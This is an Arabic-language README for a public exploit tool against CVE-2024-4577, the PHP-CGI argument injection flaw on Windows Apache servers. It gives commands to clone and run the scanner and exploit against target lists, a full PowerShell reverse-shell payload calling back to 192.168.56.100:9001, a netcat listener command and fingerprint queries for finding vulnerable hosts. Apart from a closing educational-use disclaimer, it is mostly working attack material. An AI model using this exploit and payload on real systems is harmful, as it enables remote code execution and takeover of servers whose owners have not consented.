
إكسبلويت لثغرة حقن وسائط PHP CGI (CVE-2024-4577) تتيح تنفيذ كود عن بُعد على خوادم Windows المعرّضة للخطر والتي تشغّل Apache وPHP-CGI. يشمل الفحص والاستغلال وتسليم حمولة قشرة عكسية.
في إصدارات PHP 8.1.* قبل 8.1.29، و8.2.* قبل 8.2.20، و8.3.* قبل 8.3.8، عند استخدام Apache وPHP-CGI على Windows، إذا كان النظام مضبوطًا لاستخدام صفحات رموز معينة، فقد تستخدم Windows سلوك "Best-Fit" لاستبدال الأحرف في سطر الأوامر المُمرَّر إلى دوال Win32 API. قد تفسر وحدة PHP CGI هذه الأحرف بشكل خاطئ على أنها خيارات PHP، مما قد يسمح لمستخدم ضار بتمرير خيارات إلى ثنائي PHP قيد التشغيل، وبالتالي كشف الكود المصدري للنصوص البرمجية، وتنفيذ كود PHP عشوائي على الخادم، وما إلى ذلك.
"XAMPP عرضة للخطر في الإعداد الافتراضي، ويمكننا استهداف نقطة النهاية /php-cgi/php-cgi.exe. لاستهداف نقطة نهاية .php (مثل /index.php)، يجب تكوين الخادم لتشغيل نصوص PHP في وضع CGI."
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] توضح هذه الأداة هجومًا وتقنيات واقعية (TTPs). ومع ذلك، فإن نموذج الحمولة المحدد هذا لا يعمل في هذا السيناريو. عدّل shell.php للحصول على حمولة كاملة الوظائف.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"هذه الأداة مقدمة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.